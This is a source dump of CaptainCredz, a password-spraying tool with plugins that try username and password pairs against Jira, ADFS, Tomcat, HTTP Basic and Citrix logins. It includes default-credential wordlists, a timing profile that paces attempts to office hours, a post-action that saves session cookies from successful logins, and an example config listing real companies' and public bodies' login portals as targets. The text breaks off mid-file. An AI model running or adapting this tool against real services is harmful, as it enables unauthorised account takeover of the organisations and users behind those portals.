├── captaincredz ├── lib │ ├── __init__.py │ ├── logger.py │ ├── requester.py │ ├── worker.py │ ├── cache.py │ ├── pool.py │ └── engine.py ├── plugins │ ├── ntlmssp │ │ ├── requirements.txt │ │ ├── users.example.txt │ │ ├── config.example.json │ │ └── __init__.py │ ├── citrix │ │ ├── pwds.txt │ │ ├── users.txt │ │ ├── config.example.json │ │ └── __init__.py │ ├── httpbasic │ │ ├── pwds.txt │ │ ├── users.txt │ │ ├── config.example.json │ │ └── __init__.py │ ├── tomcat │ │ ├── Dockerfile │ │ ├── users.txt │ │ ├── tomcat-users.xml │ │ ├── pwds.txt │ │ ├── config.example.json │ │ └── __init__.py │ ├── jira │ │ └── __init__.py │ ├── test │ │ └── __init__.py │ ├── adfs │ │ └── __init__.py │ ├── okta │ │ └── __init__.py │ ├── o365enum │ │ └── __init__.py │ ├── aws │ │ └── __init__.py │ ├── keycloak │ │ └── __init__.py │ └── msol │ │ └── __init__.py ├── post_actions │ ├── example_action │ │ └── __init__.py │ └── display_cookies │ │ └── __init__.py └── __init__.py ├── requirements.txt ├── optional-requirements.txt ├── tests ├── wordlists │ ├── passwords.txt │ ├── userpass.txt │ └── users.txt ├── README.md ├── app.py └── app_errors.py ├── captaincredz.py ├── .gitignore ├── ww_config.json ├── config.json ├── setup.py └── README.md /captaincredz/lib/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests -------------------------------------------------------------------------------- /optional-requirements.txt: -------------------------------------------------------------------------------- 1 | rich -------------------------------------------------------------------------------- /captaincredz/plugins/ntlmssp/requirements.txt: -------------------------------------------------------------------------------- 1 | pyspnego 2 | -------------------------------------------------------------------------------- /captaincredz/plugins/citrix/pwds.txt: -------------------------------------------------------------------------------- 1 | AAAbbbbdpsodaopdkap6546! 2 | -------------------------------------------------------------------------------- /captaincredz/plugins/httpbasic/pwds.txt: -------------------------------------------------------------------------------- 1 | admin 2 | test 3 | dpozida 4 | -------------------------------------------------------------------------------- /captaincredz/plugins/citrix/users.txt: -------------------------------------------------------------------------------- 1 | test 2 | admin 3 | administrateur 4 | root 5 | -------------------------------------------------------------------------------- /captaincredz/plugins/httpbasic/users.txt: -------------------------------------------------------------------------------- 1 | test 2 | admin 3 | administrateur 4 | root 5 | -------------------------------------------------------------------------------- /tests/wordlists/passwords.txt: -------------------------------------------------------------------------------- 1 | passFromPassFile 2 | user1! 3 | blahblah 4 | test 5 | Uz3r2@ -------------------------------------------------------------------------------- /captaincredz.py: -------------------------------------------------------------------------------- 1 | from captaincredz import main 2 | 3 | if __name__ == "__main__": 4 | main() -------------------------------------------------------------------------------- /tests/wordlists/userpass.txt: -------------------------------------------------------------------------------- 1 | user1@corp.local:passFromUserPass 2 | user1@other.local:otherPassword -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | **/__pycache__/ 2 | *.db 3 | *.log 4 | .venv/ 5 | .idea/ 6 | build/ 7 | *.egg-info/ 8 | lib/ -------------------------------------------------------------------------------- /tests/wordlists/users.txt: -------------------------------------------------------------------------------- 1 | user1@corp.local 2 | user2@corp.local 3 | user3@corp.local 4 | user1@other.local 5 | user2@other.local 6 | plop@corp.local -------------------------------------------------------------------------------- /captaincredz/plugins/ntlmssp/users.example.txt: -------------------------------------------------------------------------------- 1 | user1@domain.local@workstation1 2 | user2@domain.local@workstation2 3 | user3@domain.local@workstation3 4 | -------------------------------------------------------------------------------- /tests/README.md: -------------------------------------------------------------------------------- 1 | # Test Web Server 2 | 3 | This python script sets up a server simulating au authentication portal, and works in conjunction with the "test" plugin. 4 | 5 | In order to make the "test" plugin work, you should put the public IP of the server where this script is run in the `plugins/test/__init__.py` file, and then use this plugin. -------------------------------------------------------------------------------- /captaincredz/plugins/tomcat/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tomcat:9.0-jre11 2 | 3 | RUN cp -r /usr/local/tomcat/webapps.dist/* /usr/local/tomcat/webapps/ 4 | 5 | COPY tomcat-users.xml /usr/local/tomcat/conf/ 6 | 7 | RUN sed -i '/RemoteAddrValve/,+1d' /usr/local/tomcat/webapps/manager/META-INF/context.xml 8 | 9 | EXPOSE 8080 10 | CMD ["catalina.sh", "run"] -------------------------------------------------------------------------------- /captaincredz/post_actions/example_action/__init__.py: -------------------------------------------------------------------------------- 1 | def action(username, password, timestamp, httpresponse, plugin, result, logger, action_params=None): 2 | # TODO implement your own logic here ! 3 | # httpresponse is the python requests Response object returned by the plugin. It may be None 4 | logger.info("This is an example action") 5 | return 6 | -------------------------------------------------------------------------------- /captaincredz/plugins/tomcat/users.txt: -------------------------------------------------------------------------------- 1 | password 2 | adminadmin 3 | admin 4 | tomcat 5 | test 6 | user 7 | root 8 | 123456 9 | admin888 10 | 12345678 11 | admin@123 12 | manager 13 | passw0rd 14 | 123 15 | tomcat 16 | admin 17 | ovwebusr 18 | j2deployer 19 | cxsdk 20 | ADMIN 21 | xampp 22 | QCC 23 | role 24 | tomcat 25 | admin 26 | root 27 | tomcat 28 | root 29 | both 30 | admin 31 | ADMIN 32 | admin 33 | demo 34 | server_admin 35 | admin 36 | both 37 | role1 38 | tomcat 39 | admin 40 | admin -------------------------------------------------------------------------------- /captaincredz/plugins/tomcat/tomcat-users.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /captaincredz/plugins/tomcat/pwds.txt: -------------------------------------------------------------------------------- 1 | password 2 | adminadmin 3 | admin 4 | tomcat 5 | test 6 | user 7 | root 8 | 123456 9 | admin888 10 | 12345678 11 | admin@123 12 | manager 13 | passw0rd 14 | 123 15 | admin 16 | adminadmin 17 | OvW*busr1 18 | j2deployer 19 | kdsxc 20 | ADMIN 21 | xampp 22 | QLogic66 23 | changethis 24 | changethis 25 | j5Brn9 26 | toor 27 | password1 28 | Password1 29 | tomcat 30 | admanager 31 | ADMIN 32 | adrole1 33 | demo 34 | owaspbwa 35 | owaspbwa 36 | 37 | 38 | 39 | password 40 | 123456 -------------------------------------------------------------------------------- /captaincredz/post_actions/display_cookies/__init__.py: -------------------------------------------------------------------------------- 1 | from json import dumps 2 | 3 | def action(username, password, timestamp, httpresponse, plugin, result, logger, action_params=None): 4 | d = httpresponse.cookies.get_dict() 5 | if len(d) == 0: 6 | logger.info(f"[POST-ACTION][Cookies] - \tNo cookies associated with this response") 7 | else: 8 | safe_username = username 9 | for c in '/.#@': 10 | safe_username = safe_username.replace(c, '_') 11 | filename = f"{safe_username}_{int(timestamp)}.cookies" 12 | with open(filename, "w+") as f: 13 | f.write(dumps(d)) 14 | logger.info(f"[POST-ACTION][Cookies] - \tYour cookies have been written to {filename}") -------------------------------------------------------------------------------- /captaincredz/plugins/ntlmssp/config.example.json: -------------------------------------------------------------------------------- 1 | { 2 | "plugin" : [ 3 | { 4 | "name": "ntlmssp", 5 | "args": { 6 | "url": "https://exchange.mysuperclient.local/EWS/", 7 | "protocol": "negotiate" 8 | }, 9 | "headers": null, 10 | "proxy": "socks5h://127.0.0.1:1080", 11 | "useragentfile": null 12 | } 13 | ], 14 | "post_success": null, 15 | 16 | "userfile" : "users.txt", 17 | "passwordfile" : "passwordfile.txt", 18 | "userpassfile" : null, 19 | 20 | "jitter" : 0, 21 | "delay_req" : 4, 22 | "delay_user" : 30, 23 | "chunk_size": 50, 24 | "chunk_delay": 8, 25 | 26 | "stop_on_success": false, 27 | 28 | "log_file" : null, 29 | "cache_file": null, 30 | 31 | "verbose" : true 32 | } 33 | -------------------------------------------------------------------------------- /captaincredz/plugins/tomcat/config.example.json: -------------------------------------------------------------------------------- 1 | { 2 | "plugins": [ 3 | { 4 | "name": "tomcat", 5 | "args": { 6 | "url": "http://127.0.0.1:8080/manager/html", 7 | "method": "GET" 8 | }, 9 | "headers": null, 10 | "proxy": null, 11 | "useragentfile": null, 12 | "req_timeout": 60 13 | } 14 | ], 15 | 16 | "post_actions": null, 17 | 18 | "userfile": "captaincredz/plugins/tomcat/users.txt", 19 | "passwordfile": "captaincredz/plugins/tomcat/pwds.txt", 20 | "userpassfile": null, 21 | 22 | "jitter": 0, 23 | "delay_req": 4, 24 | "delay_user": 30, 25 | "chunk_size": 50, 26 | "chunk_delay": 8, 27 | 28 | "stop_on_success": false, 29 | 30 | "log_file": null, 31 | "cache_file": null, 32 | 33 | "verbose": true 34 | } -------------------------------------------------------------------------------- /captaincredz/plugins/httpbasic/config.example.json: -------------------------------------------------------------------------------- 1 | { 2 | "plugin" : [ 3 | { 4 | "name": "httpbasic", 5 | "args": { 6 | "url": "http://localhost/basic", 7 | "method": "POST" 8 | }, 9 | "headers": null, 10 | "proxy": "http://localhost:8080", 11 | "useragentfile": null, 12 | "req_timeout": 60 13 | } 14 | ], 15 | 16 | "post_actions": null, 17 | 18 | "userfile" : "plugins/httpbasic/users.txt", 19 | "passwordfile" : "plugins/httpbasic/pwds.txt", 20 | "userpassfile" : null, 21 | 22 | "jitter" : 0, 23 | "delay_req" : 4, 24 | "delay_user" : 30, 25 | "chunk_size": 50, 26 | "chunk_delay": 8, 27 | 28 | "stop_on_success": false, 29 | 30 | "log_file" : null, 31 | "cache_file": null, 32 | 33 | "verbose" : true 34 | } 35 | -------------------------------------------------------------------------------- /ww_config.json: -------------------------------------------------------------------------------- 1 | { 2 | "utc_offset" : 0, 3 | "daily_speedup": 1.25, 4 | "initial_speed": 0.5, 5 | "hours_factor": { 6 | "0": 0.1, 7 | "1": 0.1, 8 | "2": 0.1, 9 | "3": 0.1, 10 | "4": 0.1, 11 | "5": 0.1, 12 | "6": 0.2, 13 | "7": 0.5, 14 | "8": 1, 15 | "9": 1, 16 | "10": 0.8, 17 | "11": 0.4, 18 | "12": 0.6, 19 | "13": 0.8, 20 | "14": 0.5, 21 | "15": 0.5, 22 | "16": 0.5, 23 | "17": 0.5, 24 | "18": 0.6, 25 | "19": 0.3, 26 | "20": 0.2, 27 | "21": 0.1, 28 | "22": 0.1, 29 | "23": 0.1 30 | }, 31 | "days_factor": { 32 | "mon": 1, 33 | "tue": 1, 34 | "wed": 1, 35 | "thu": 1, 36 | "fri": 1, 37 | "sat": 0.1, 38 | "sun": 0.1 39 | } 40 | } -------------------------------------------------------------------------------- /config.json: -------------------------------------------------------------------------------- 1 | { 2 | "plugins" : [ 3 | { 4 | "name": "test", 5 | "args": { 6 | "FIXME": "http://FIXME" 7 | }, 8 | "headers": null, 9 | "proxy": null, 10 | "useragentfile": null, 11 | "weight": 1, 12 | "req_timeout": 60 13 | } 14 | ], 15 | 16 | "post_actions": { 17 | "display_cookies": { 18 | "trigger":["success"], 19 | "params": {"text": "Example param"} 20 | } 21 | }, 22 | 23 | "userfile" : "FIXME", 24 | "passwordfile" : "FIXME", 25 | "userpassfile" : null, 26 | 27 | "jitter" : 0, 28 | "delay_req" : 4, 29 | "delay_user" : 30, 30 | "chunk_size": 50, 31 | "chunk_delay": 8, 32 | 33 | "stop_on_success": false, 34 | "stop_worker_on_success": false, 35 | 36 | "log_file" : null, 37 | "cache_file": null, 38 | 39 | "verbose" : true 40 | } 41 | -------------------------------------------------------------------------------- /captaincredz/__init__.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | from .lib.engine import Engine 3 | from importlib.util import find_spec 4 | 5 | RICH_INSTALLED = find_spec("rich") is not None 6 | if RICH_INSTALLED: 7 | from rich.progress import Progress 8 | 9 | 10 | def main(): 11 | parser = argparse.ArgumentParser() 12 | 13 | parser.add_argument( 14 | "-c", 15 | "--config", 16 | type=str, 17 | default=None, 18 | required=True, 19 | help="Configure CaptainCredz using config file config.json", 20 | ) 21 | parser.add_argument( 22 | "-w", 23 | "--weekday_warrior", 24 | type=str, 25 | default=None, 26 | required=False, 27 | help="Weekday Warrior config file. Only active when specified", 28 | ) 29 | 30 | args = parser.parse_args() 31 | e = Engine(args) 32 | if RICH_INSTALLED: 33 | from rich.progress import Progress 34 | 35 | with Progress() as pb: 36 | e.start(pb) 37 | else: 38 | e.start() 39 | 40 | 41 | if __name__ == "__main__": 42 | main() 43 | -------------------------------------------------------------------------------- /captaincredz/plugins/citrix/config.example.json: -------------------------------------------------------------------------------- 1 | { 2 | "plugin" : [ 3 | { 4 | "name": "citrix", 5 | "args": { 6 | "url1": "https://login.docutap.com/nf/auth", 7 | "url2": "https://onebridge.tf1.fr/p/u", 8 | "url3": "https://remoteapps.disney.com/nf/auth", 9 | "url4": "https://login.strasbourg.eu/p/u", 10 | "url5": "https://authentification.aphp.fr/nf/auth", 11 | "url6": "https://secureaccess.nike.com/nf/auth", 12 | "url": "https://auth-aug.man-es.com/nf/auth" 13 | }, 14 | "headers": null, 15 | "proxy": "http://localhost:8080", 16 | "useragentfile": null, 17 | "req_timeout": 60 18 | } 19 | ], 20 | 21 | "post_actions": null, 22 | 23 | "userfile" : "plugins/citrix/users.txt", 24 | "passwordfile" : "plugins/citrix/pwds.txt", 25 | "userpassfile" : null, 26 | 27 | "jitter" : 0, 28 | "delay_req" : 4, 29 | "delay_user" : 30, 30 | "chunk_size": 50, 31 | "chunk_delay": 8, 32 | 33 | "stop_on_success": true, 34 | 35 | "log_file" : null, 36 | "cache_file": null, 37 | 38 | "verbose" : true 39 | } 40 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup, find_packages 2 | import os 3 | 4 | def read_requirements(filename): 5 | base_path = os.path.dirname(__file__) 6 | requirements_path = os.path.join(base_path, filename) 7 | 8 | with open(requirements_path) as f: 9 | return [line.strip() for line in f if line.strip() and not line.startswith("#")] 10 | 11 | def wrap_find_packages(): 12 | r = find_packages() 13 | for p in find_packages(where="./captaincredz/plugins"): 14 | r.append(f"captaincredz.plugins.{p}") 15 | for p in find_packages(where="./captaincredz/post_actions"): 16 | r.append(f"captaincredz.post_actions.{p}") 17 | return r 18 | 19 | def find_extras(): 20 | d = dict() 21 | d['progressbar'] = read_requirements('optional-requirements.txt') 22 | for p in os.listdir('captaincredz/plugins'): 23 | p_req = os.path.join("captaincredz/plugins", p, "requirements.txt") 24 | if os.path.isfile(p_req): 25 | d[p] = read_requirements(p_req) 26 | for pa in os.listdir('captaincredz/post_actions'): 27 | pa_req = os.path.join("captaincredz/post_actions", pa, "requirements.txt") 28 | if os.path.isfile(pa_req): 29 | d[pa] = read_requirements(pa_req) 30 | return d 31 | 32 | with open("/tmp/a", "w+") as f: 33 | f.write(str(wrap_find_packages())) 34 | 35 | setup( 36 | name='captaincredz', 37 | version='1.0.0', 38 | install_requires=read_requirements('requirements.txt'), 39 | py_modules=['captaincredz'], 40 | packages=wrap_find_packages(), 41 | extras_require=find_extras(), 42 | entry_points={ 43 | 'console_scripts': [ 44 | 'captaincredz=captaincredz:main', 45 | ], 46 | }, 47 | author='Antoine Gicquel', 48 | author_email='antoine.gicquel@synacktiv.com', 49 | description='CaptainCredz is a powerful password spraying utility.', 50 | ) 51 | -------------------------------------------------------------------------------- /tests/app.py: -------------------------------------------------------------------------------- 1 | from http.server import BaseHTTPRequestHandler, HTTPServer 2 | import sys 3 | from urllib.parse import urlparse, parse_qs 4 | 5 | 6 | USERS = [ 7 | ("user1@corp.local", "user1!"), 8 | ("user2@corp.local", "Uz3r2@"), 9 | ("user1@other.local", "otherPassword") 10 | ] 11 | 12 | class SimpleHTTPRequestHandler(BaseHTTPRequestHandler): 13 | def do_GET(self): 14 | # Set response headers 15 | self.send_response(200) 16 | self.send_header('Content-type', 'text/html') 17 | self.end_headers() 18 | 19 | # Check the path and respond accordingly 20 | if self.path == '/check': 21 | self.wfile.write(b'Endpoint /check reached!') 22 | elif self.path.startswith('/login'): 23 | # Parse the URL parameters 24 | params = parse_qs(urlparse(self.path).query) 25 | 26 | # Check if both 'username' and 'password' parameters are present 27 | if 'username' in params and 'password' in params: 28 | username = params['username'][0] 29 | password = params['password'][0] 30 | if (username, password) in USERS: 31 | response = f'Greetings, {username}!' 32 | elif not username in [x[0] for x in USERS]: 33 | response = f'Password is invalid' 34 | else: 35 | response = 'Nope' 36 | self.wfile.write(response.encode('utf-8')) 37 | else: 38 | self.wfile.write(b'Missing username or password parameters!') 39 | else: 40 | self.wfile.write(b'Hello, this is a simple server!') 41 | 42 | if __name__ == '__main__': 43 | port = 28514 44 | try: 45 | if len(sys.argv) == 2: 46 | port = int(sys.argv[1]) 47 | assert port > 1024 and port < 65535 48 | except: 49 | pass 50 | # Specify the server address and port 51 | server_address = ('0.0.0.0', port) 52 | 53 | # Create an HTTP server with the specified handler 54 | httpd = HTTPServer(server_address, SimpleHTTPRequestHandler) 55 | 56 | print(f'Server is running on http://0.0.0.0:{port}') 57 | 58 | # Start the server 59 | httpd.serve_forever() 60 | -------------------------------------------------------------------------------- /captaincredz/plugins/jira/__init__.py: -------------------------------------------------------------------------------- 1 | class Plugin: 2 | def __init__(self, requester, pluginargs): 3 | self.requester = requester 4 | self.pluginargs = pluginargs 5 | if self.pluginargs is None: 6 | self.pluginargs = dict() 7 | 8 | def validate(self): 9 | # 10 | # Plugin Args 11 | # 12 | # "url": "https://jira.domain.com" -> Jira target 13 | # 14 | err = None 15 | if not "url" in self.pluginargs.keys(): 16 | err = "Jira plugin needs 'url' argument. Please add it to the configuration, specifying the URL to the Jira instance (without /login.jsp)." 17 | return "url" in self.pluginargs.keys(), err 18 | 19 | def testconnect(self, useragent): 20 | resp = self.requester.get(self.pluginargs["url"], headers={'User-Agent': useragent}) 21 | 22 | return resp.status_code == 200 23 | 24 | def test_authenticate(self, username, password, useragent): 25 | data_response = { 26 | 'result' : None, # Can be "success", "failure", "potential" or "inexistant" 27 | 'error' : False, 28 | 'output' : "", 29 | 'request': None 30 | } 31 | 32 | post_data = { 33 | 'os_username' : username, 34 | 'os_password' : password, 35 | 'os_cookie' : 1 36 | } 37 | 38 | 39 | headers = { 40 | 'User-Agent': useragent, 41 | 'Content-Type' : 'application/x-www-form-urlencoded', 42 | 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8' 43 | } 44 | 45 | try: 46 | 47 | resp = self.requester.post(f"{self.pluginargs['url']}/login.jsp", headers=headers, data=post_data, allow_redirects=False) 48 | data_response['request'] = resp 49 | if resp.status_code == 302: 50 | data_response['result'] = "success" 51 | data_response['output'] = f"[+] SUCCESS: => {username}:{password}" 52 | 53 | else: # fail 54 | data_response['result'] = "failure" 55 | data_response['output'] = f"[-] FAILURE: {resp.status_code} => {username}:{password}" 56 | 57 | except Exception as ex: 58 | data_response['error'] = True 59 | data_response['output'] = str(ex.__repr__()) 60 | pass 61 | 62 | return data_response 63 | -------------------------------------------------------------------------------- /captaincredz/lib/logger.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import datetime 3 | from .cache import Cache 4 | from importlib.util import find_spec 5 | 6 | RICH_INSTALLED = False 7 | if find_spec("rich"): 8 | RICH_INSTALLED = True 9 | from rich.logging import RichHandler 10 | 11 | 12 | class Logger: 13 | def __init__(self, logfile, verbose=False): 14 | # Logging things with proper libraries 15 | self.logfile = logfile 16 | if self.logfile is None: 17 | self.logfile = "captaincredz.log" 18 | 19 | self.console_logger = logging.getLogger(__name__) 20 | self.file_logger = logging.getLogger("success") 21 | 22 | self.console_logger.setLevel(logging.DEBUG) 23 | self.console_stdout_handler = logging.StreamHandler() 24 | if RICH_INSTALLED: 25 | self.console_stdout_handler = RichHandler() 26 | if verbose: 27 | self.console_stdout_handler.setLevel(logging.DEBUG) 28 | else: 29 | self.console_stdout_handler.setLevel(logging.INFO) 30 | self.console_stdout_handler.setFormatter( 31 | logging.Formatter("%(levelname)s - %(message)s") 32 | ) 33 | self.console_logger.addHandler(self.console_stdout_handler) 34 | 35 | self.file_logger.setLevel(logging.DEBUG) 36 | self.file_handler = logging.FileHandler(logfile) 37 | self.file_handler.setLevel(logging.INFO) 38 | self.file_handler.setFormatter(logging.Formatter("%(message)s")) 39 | self.file_logger.addHandler(self.file_handler) 40 | 41 | def error(self, message): 42 | self.console_logger.error(message) 43 | 44 | def debug(self, message): 45 | self.console_logger.debug(message) 46 | 47 | def info(self, message): 48 | self.console_logger.info(message) 49 | 50 | def log_tentative(self, username, password, ts, result, out, plugin): 51 | result_str = "bug" 52 | if result is not None: 53 | if type(result) == int: 54 | result_str = Cache.TRANSLATE_INV[result] 55 | elif type(result) == str: 56 | result_str = result 57 | result_left = result_str.ljust(15) 58 | plugin_left = plugin.ljust(15) 59 | date = datetime.datetime.isoformat( 60 | datetime.datetime.fromtimestamp(ts).replace(microsecond=0) 61 | ) 62 | log_str = ( 63 | f"{date} - {plugin_left} - {result_left} ({username}:{password}) / {out}" 64 | ) 65 | self.console_logger.info(log_str) 66 | self.file_logger.info(log_str) 67 | -------------------------------------------------------------------------------- /tests/app_errors.py: -------------------------------------------------------------------------------- 1 | from http.server import BaseHTTPRequestHandler, HTTPServer 2 | import sys 3 | from urllib.parse import urlparse, parse_qs 4 | import random 5 | import time 6 | 7 | USERS = [ 8 | ("user1@corp.local", "user1!"), 9 | ("user2@corp.local", "Uz3r2@"), 10 | ("user1@other.local", "otherPassword") 11 | ] 12 | 13 | class SimpleHTTPRequestHandler(BaseHTTPRequestHandler): 14 | def do_GET(self): 15 | print(self.headers) 16 | time.sleep(random.randint(2, 8)) 17 | if self.path != "/check" and random.random() < 0.3: 18 | print("Erroring") 19 | self.send_response(500) 20 | self.end_headers() 21 | return 22 | 23 | # Set response headers 24 | self.send_response(200) 25 | self.send_header('Content-type', 'text/html') 26 | self.end_headers() 27 | 28 | # Check the path and respond accordingly 29 | if self.path == '/check': 30 | self.wfile.write(b'Endpoint /check reached!') 31 | elif self.path.startswith('/login'): 32 | # Parse the URL parameters 33 | params = parse_qs(urlparse(self.path).query) 34 | 35 | # Check if both 'username' and 'password' parameters are present 36 | if 'username' in params and 'password' in params: 37 | username = params['username'][0] 38 | password = params['password'][0] 39 | if (username, password) in USERS: 40 | response = f'Greetings, {username}!' 41 | elif not username in [x[0] for x in USERS]: 42 | response = f'Password is invalid' 43 | else: 44 | response = 'Nope' 45 | self.wfile.write(response.encode('utf-8')) 46 | else: 47 | self.wfile.write(b'Missing username or password parameters!') 48 | else: 49 | self.wfile.write(b'Hello, this is a simple server!') 50 | 51 | if __name__ == '__main__': 52 | port = 28514 53 | try: 54 | if len(sys.argv) == 2: 55 | port = int(sys.argv[1]) 56 | assert port > 1024 and port < 65535 57 | except: 58 | pass 59 | # Specify the server address and port 60 | server_address = ('0.0.0.0', port) 61 | 62 | # Create an HTTP server with the specified handler 63 | httpd = HTTPServer(server_address, SimpleHTTPRequestHandler) 64 | 65 | print(f'Server is running on http://0.0.0.0:{port}') 66 | 67 | # Start the server 68 | httpd.serve_forever() -------------------------------------------------------------------------------- /captaincredz/plugins/test/__init__.py: -------------------------------------------------------------------------------- 1 | class Plugin: 2 | def __init__(self, requester, pluginargs): 3 | self.requester = requester 4 | self.pluginargs = pluginargs 5 | 6 | def validate(self): 7 | """ 8 | This functions verifies if the plugin args are correctly defined 9 | """ 10 | err = "" 11 | if not "url" in self.pluginargs: 12 | err = "You should include a 'url' plugin parameter" 13 | return "url" in self.pluginargs, err 14 | 15 | def testconnect(self, useragent): 16 | """ 17 | This functions verifies if everything is running smoothly network-wise 18 | """ 19 | # return True 20 | r = self.requester.get(self.pluginargs["url"] + "/check", headers={"User-Agent": useragent}) 21 | return r.status_code == 200 22 | 23 | def test_authenticate(self, username, password, useragent): 24 | """ 25 | This functions authenticates and returns data_response 26 | """ 27 | data_response = { 28 | "result": None, # either "success", "inexistant", "potential" or "failure" 29 | "error": False, # if there's an error (to indicate that a retry is needed) 30 | "output": "Blah", # return message 31 | "request": None # represents the request, useful for example to print the cookies obtained 32 | } 33 | # data_response["result"] = "success" 34 | # return data_response 35 | try: 36 | resp = self.requester.get(f"{self.pluginargs['url']}/login", params={"username": username, "password": password, "pluginId": 1}, headers={"User-Agent": useragent}) 37 | data_response['request'] = resp 38 | if resp.status_code == 200 and "Greeting" in resp.text: 39 | data_response['result'] = "success" 40 | data_response['output'] = f"[+] SUCCESS: {username}:{password}" 41 | elif resp.status_code == 200 and "is invalid" in resp.text: 42 | data_response['result'] = "inexistant" 43 | data_response['output'] = f"[-] User {username} does not exist" 44 | elif resp.status_code != 200: 45 | data_response['error'] = True 46 | data_response['output'] = "The server did not respond" 47 | else: 48 | data_response['result'] = "failure" 49 | data_response['output'] = f"[-] FAIL: {username}:{password}" 50 | 51 | except Exception as ex: 52 | data_response['error'] = True 53 | data_response['output'] = str(ex.__repr__()) 54 | 55 | return data_response 56 | -------------------------------------------------------------------------------- /captaincredz/plugins/adfs/__init__.py: -------------------------------------------------------------------------------- 1 | class Plugin: 2 | def __init__(self, requester, pluginargs): 3 | self.requester = requester 4 | self.pluginargs = pluginargs 5 | if self.pluginargs is None: 6 | self.pluginargs = dict() 7 | 8 | def validate(self): 9 | # 10 | # Plugin Args 11 | # 12 | # --url https://adfs.domain.com -> ADFS target 13 | # 14 | err = None 15 | if not "url" in self.pluginargs.keys(): 16 | err = "ADFS plugin needs 'url' argument. Please add it to the configuration, specifying the URL to the ADFS instance (without /adfs/ls)." 17 | return "url" in self.pluginargs.keys(), err 18 | 19 | def testconnect(self, useragent): 20 | resp = self.requester.get(self.pluginargs["url"], headers={'User-Agent': useragent}) 21 | 22 | return resp.status_code != 504 23 | 24 | def test_authenticate(self, username, password, useragent): 25 | data_response = { 26 | 'result' : None, # Can be "success", "failure", "potential" or "inexistant" 27 | 'error' : False, 28 | 'output' : "", 29 | 'request': None 30 | } 31 | 32 | post_data = { 33 | 'UserName' : username, 34 | 'Password' : password, 35 | 'AuthMethod' : 'FormsAuthentication' 36 | } 37 | 38 | # ?client-request-id=&wa=wsignin1.0&wtrealm=urn:federation:MicrosoftOnline&wctx=cbcxt=&username={}&mkt=&lc= 39 | params_data = { 40 | 'client-request-id' : '', 41 | 'wa' : 'wsignin1.0', 42 | 'wtrealm' : 'urn:federation:MicrosoftOnline', 43 | 'wctx' : '', 44 | 'cbcxt' : '', 45 | 'username' : username, 46 | 'mkt' : '', 47 | 'lc' : '', 48 | 'pullStatus' : 0 49 | } 50 | 51 | headers = { 52 | 'User-Agent': useragent, 53 | 'Content-Type' : 'application/x-www-form-urlencoded', 54 | 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.8' 55 | } 56 | 57 | try: 58 | 59 | resp = self.requester.post(f"{self.pluginargs['url']}/adfs/ls/", headers=headers, params=params_data, data=post_data, allow_redirects=False) 60 | data_response['request'] = resp 61 | if resp.status_code == 302: 62 | data_response['result'] = "success" 63 | data_response['output'] = f"[+] SUCCESS: => {username}:{password}" 64 | 65 | else: # fail 66 | data_response['result'] = "failure" 67 | data_response['output'] = f"[-] FAILURE: {resp.status_code} => {username}:{password}" 68 | 69 | except Exception as ex: 70 | data_response['error'] = True 71 | data_response['output'] = str(ex.__repr__()) 72 | pass 73 | 74 | return data_response 75 | -------------------------------------------------------------------------------- /captaincredz/plugins/tomcat/__init__.py: -------------------------------------------------------------------------------- 1 | import base64 2 | 3 | class Plugin: 4 | def __init__(self, requester, pluginargs): 5 | self.requester = requester 6 | self.pluginargs = pluginargs 7 | 8 | def validate(self): 9 | """ 10 | This functions verifies if the plugin args are correctly defined 11 | """ 12 | 13 | if "url" not in self.pluginargs: 14 | return False, "You must provide an URL with an running Apache Tomcat instance" 15 | else: 16 | if self.pluginargs.get("method") == None: 17 | method = "GET" 18 | else: 19 | method = self.pluginargs["method"] 20 | self.pluginargs["method"] = method # Save the method 21 | 22 | if method not in ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE"]: 23 | return False, f"Unknown HTTP method '{method}' provided" 24 | else: 25 | return True, None 26 | 27 | def testconnect(self, useragent): 28 | """ 29 | This functions verifies if everything is good network-wise 30 | """ 31 | 32 | method = self.pluginargs["method"] 33 | r = self.requester.request(method, self.pluginargs["url"], headers = {"User-Agent": useragent}) 34 | is_401 = r.status_code == 401 35 | supports_authentication = "Basic" in r.headers.get("WWW-Authenticate") 36 | 37 | return is_401 and supports_authentication 38 | 39 | def test_authenticate(self, username, password, useragent): 40 | """ 41 | This functions authenticates 42 | """ 43 | 44 | data_response = { 45 | "result": None, # either "success", "inexistant", "potential" or "failure" 46 | "error": False, # if there's an error (to indicate that a retry is needed) 47 | "output": None, # return message 48 | "request": None # represents the request, useful for example to print the cookies obtained 49 | } 50 | 51 | try: 52 | 53 | method = self.pluginargs["method"] 54 | authorization = base64.b64encode(username.encode() + b':' + password.encode()).decode() 55 | r = self.requester.request(method, self.pluginargs["url"], headers = {"User-Agent": useragent, "Authorization": f"Basic {authorization}"}, allow_redirects = False) 56 | data_response['request'] = r 57 | 58 | if r.status_code == 401: # Wrong credentials 59 | 60 | data_response['result'] = 'failure' 61 | data_response['output'] = 'Invalid credentials' 62 | 63 | else: # Consider other error codes as valid credentials 64 | 65 | data_response['result'] = 'success' 66 | data_response['output'] = f"Valid credentials found with returned status code {r.status_code}" 67 | 68 | except Exception as ex: 69 | 70 | data_response['error'] = True 71 | data_response['output'] = str(ex.__repr__()) 72 | 73 | return data_response 74 | -------------------------------------------------------------------------------- /captaincredz/plugins/httpbasic/__init__.py: -------------------------------------------------------------------------------- 1 | import base64 2 | 3 | class Plugin: 4 | def __init__(self, requester, pluginargs): 5 | self.requester = requester 6 | self.pluginargs = pluginargs 7 | 8 | def validate(self): 9 | """ 10 | This functions verifies if the plugin args are correctly defined 11 | """ 12 | 13 | if "url" not in self.pluginargs: 14 | return False, "You must provide an URL protected with HTTP Basic authentication" 15 | else: 16 | if self.pluginargs.get("method") == None: 17 | method = "GET" 